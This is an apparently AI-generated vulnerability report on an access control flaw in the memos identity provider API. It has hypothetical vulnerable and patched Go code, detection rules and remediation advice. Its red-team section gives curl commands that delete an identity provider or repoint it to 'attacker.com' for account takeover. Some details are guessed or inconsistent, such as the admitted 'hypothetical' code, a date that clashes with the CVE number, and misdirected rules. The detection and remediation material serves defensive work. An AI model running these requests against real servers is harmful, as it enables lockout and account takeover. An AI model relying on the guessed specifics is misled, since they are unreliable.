CVE-2025-65797
Executive Summary
CVE-2025-65797 is a critical access control vulnerability in the Identity Provider (IdP) service of usememos/memos, specifically in version v0.25.2. The flaw allows an attacker with low-level privileges (e.g., a standard user) to arbitrarily modify or delete registered identity providers. This can lead to full account takeover (by hijacking the authentication flow) or a Denial of Service (DoS) by removing all IdPs, effectively locking out legitimate users. The vulnerability resides in the lack of proper authorization checks on API endpoints that manage IdP configurations. No public exploit code or patch is currently available, but the risk is high due to the potential for privilege escalation and lateral movement within the application.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Go-based application memos (usememos/memos). The IdP management functionality is a core feature for integrating external authentication providers (e.g., OAuth, SAML). An attacker exploiting this flaw can compromise the entire authentication chain, potentially leading to supply chain risks if the compromised instance is used to distribute malicious updates or configurations. The Go module dependencies are not directly impacted, but the application’s own code is vulnerable.
CVSS Breakdown & Threat Level
While the official CVSS vector is unknown, based on the description and impact, a reasonable assessment is:
- Attack Vector (AV): Network (N) – The IdP service is accessible over the network.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs a low-privilege account.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Changed (C) – The vulnerability allows the attacker to affect resources beyond their original authorization (e.g., modifying global IdP settings).
- Confidentiality (C): High (H) – Account takeover can expose all user data.
- Integrity (I): High (H) – IdP configurations can be altered.
- Availability (A): High (H) – DoS by deleting all IdPs.
Estimated CVSS Score: 8.8 (High)
Threat Level: Critical – Exploitation is straightforward for any authenticated low-privilege user.
Deep Dive & Mechanics
The vulnerability is an Incorrect Access Control (CWE-284) in the Identity Provider management API. In memos v0.25.2, the endpoints for creating, updating, and deleting identity providers (e.g., POST /api/v1/idp, PATCH /api/v1/idp/:id, DELETE /api/v1/idp/:id) do not properly verify that the requesting user has administrative or high-level privileges. The code likely checks only for authentication (valid session token) but not for authorization (e.g., role == "admin").
Attack Flow:
- Attacker registers a low-privilege user account (or compromises an existing one).
- Attacker obtains a valid session token.
- Attacker sends a
DELETE /api/v1/idp/1request with their token. - The server processes the request without checking if the user is an admin, deleting the IdP.
- If all IdPs are deleted, legitimate users cannot log in (DoS). Alternatively, the attacker can modify an existing IdP to point to a malicious OAuth provider, capturing credentials and performing account takeover.
The root cause is a missing role-based access control (RBAC) check in the handler functions for IdP CRUD operations.
Vulnerable vs. Patched Code
Vulnerable Code (v0.25.2 - hypothetical Go handler):
func (s *Service) DeleteIdentityProvider(c *gin.Context) {
id := c.Param("id")
// Missing authorization check
err := s.store.DeleteIdentityProvider(id)
if err != nil {
c.JSON(500, gin.H{"error": err.Error()})
return
}
c.JSON(200, gin.H{"message": "deleted"})
}
Patched Code (hypothetical fix):
func (s *Service) DeleteIdentityProvider(c *gin.Context) {
user, _ := c.Get("currentUser")
if user.Role != "admin" {
c.JSON(403, gin.H{"error": "forbidden"})
return
}
id := c.Param("id")
err := s.store.DeleteIdentityProvider(id)
if err != nil {
c.JSON(500, gin.H{"error": err.Error()})
return
}
c.JSON(200, gin.H{"message": "deleted"})
}
The patch adds a check for user.Role == "admin" before allowing the operation.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A running instance of
memosv0.25.2. - A low-privilege user account (e.g.,
attackerwith passwordpassword123).
Step 1: Obtain Session Token
curl -X POST http://target:5230/api/v1/auth/signin \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"password123"}'
Response contains a token (e.g., "token":"abc123").
Step 2: List Existing Identity Providers
curl -X GET http://target:5230/api/v1/idp \
-H "Authorization: Bearer abc123"
Step 3: Delete an Identity Provider (DoS)
curl -X DELETE http://target:5230/api/v1/idp/1 \
-H "Authorization: Bearer abc123"
Step 4: Modify an Identity Provider (Account Takeover)
curl -X PATCH http://target:5230/api/v1/idp/1 \
-H "Authorization: Bearer abc123" \
-H "Content-Type: application/json" \
-d '{"clientId":"malicious_client","clientSecret":"malicious_secret","redirectUrl":"https://attacker.com/callback"}'
Blue Team (Detection & Hardening)
Detection:
- Monitor API logs for
DELETEorPATCHrequests to/api/v1/idp/*from non-admin users. - Alert on any modification to IdP configurations outside of normal administrative hours.
- Use the YARA/Sigma rules below.
Hardening:
- Immediately restrict access to IdP management endpoints to admin users only.
- Implement network segmentation to limit API exposure.
- Enable audit logging for all IdP changes.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/api/v1/idpwith methodsDELETE,PATCH, orPOSTfrom low-privilege user tokens. - Unusual redirect URLs in IdP configurations (e.g., pointing to external attacker-controlled domains).
- HTTP requests to
- System IOCs:
- Sudden disappearance of all identity providers in the admin UI.
- New IdP entries with unknown
clientIdorclientSecret.
- Log IOCs:
- Log entries showing
DELETE /api/v1/idp/1withuser_role: userinstead ofadmin.
- Log entries showing
Detection Engineering
YARA Rule
rule CVE_2025_65797_IdP_Access_Control {
meta:
description = "Detects attempts to exploit CVE-2025-65797 by monitoring for unauthorized IdP modifications"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-65797"
strings:
$s1 = "DELETE /api/v1/idp/" ascii wide nocase
$s2 = "PATCH /api/v1/idp/" ascii wide nocase
$s3 = "POST /api/v1/idp" ascii wide nocase
$s4 = "user_role: user" ascii wide nocase
condition:
any of ($s1, $s2, $s3) and $s4
}
Sigma Rule
title: CVE-2025-65797 - Unauthorized Identity Provider Modification
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to modify or delete identity providers by non-admin users in usememos/memos v0.25.2
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: memos
detection:
selection:
http_method:
- 'DELETE'
- 'PATCH'
- 'POST'
url_path:
- '/api/v1/idp*'
user_role: 'user'
condition: selection
falsepositives:
- Legitimate admin actions (should have user_role: admin)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-65797 - Unauthorized IdP Modification Attempt";
flow:to_server,established;
content:"DELETE"; http_method;
content:"/api/v1/idp"; http_uri;
pcre:"/user_role:\s*user/i";
sid:1000001;
rev:1;
reference:cve,2025-65797;
classtype:attempted-admin;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade to the latest patched version of
memosas soon as it becomes available. - Restrict API access to IdP endpoints using a reverse proxy (e.g., Nginx) to allow only admin IPs.
- Implement RBAC manually if patching is delayed: modify the source code to add authorization checks (see patched code example).
- Audit all existing IdP configurations for unauthorized changes.
Long-term Mitigations:
- Enable comprehensive audit logging for all authentication-related changes.
- Use Web Application Firewall (WAF) rules to block non-admin requests to
/api/v1/idp. - Conduct regular security reviews of API authorization logic.
Valters IT Signature
Report generated by Valters IT DevSecOps AI Assistant | CVE-2025-65797 | usememos/memos v0.25.2